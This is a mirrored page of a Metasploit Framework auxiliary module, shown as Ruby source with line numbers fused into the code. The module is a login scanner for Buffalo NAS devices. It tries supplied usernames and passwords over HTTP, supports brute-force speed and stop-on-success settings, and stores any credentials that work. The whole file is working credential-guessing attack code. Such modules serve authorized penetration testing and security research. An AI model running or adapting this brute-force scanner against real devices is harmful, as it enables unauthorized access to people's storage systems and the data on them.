CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!
CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!
Path: blob/master/modules/auxiliary/scanner/http/buffalo_login.rb
Views: 1904
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'metasploit/framework/credential_collection'6require 'metasploit/framework/login_scanner/buffalo'78class MetasploitModule < Msf::Auxiliary9include Msf::Exploit::Remote::HttpClient10include Msf::Auxiliary::Scanner11include Msf::Auxiliary::Report12include Msf::Auxiliary::AuthBrute1314def initialize15super(16'Name' => 'Buffalo NAS Login Utility',17'Description' => %q{18This module simply attempts to login to a Buffalo NAS instance using a specific19username and password. It has been confirmed to work on version 1.6820},21'Author' => [ 'Nicholas Starke <starke.nicholas[at]gmail.com>' ],22'License' => MSF_LICENSE23)2425register_options(26[27Opt::RPORT(80)28])29end3031def run_host(ip)32cred_collection = build_credential_collection(33username: datastore['USERNAME'],34password: datastore['PASSWORD']35)3637scanner = Metasploit::Framework::LoginScanner::Buffalo.new(38configure_http_login_scanner(39cred_details: cred_collection,40stop_on_success: datastore['STOP_ON_SUCCESS'],41bruteforce_speed: datastore['BRUTEFORCE_SPEED'],42connection_timeout: 10,43http_username: datastore['HttpUsername'],44http_password: datastore['HttpPassword']45)46)4748scanner.scan! do |result|49credential_data = result.to_h50credential_data.merge!(51module_fullname: fullname,52workspace_id: myworkspace_id53)54if result.success?55credential_core = create_credential(credential_data)56credential_data[:core] = credential_core57create_credential_login(credential_data)5859print_good "#{ip}:#{rport} - Login Successful: #{result.credential}"60else61invalidate_login(credential_data)62vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status})"63end64end65end66end676869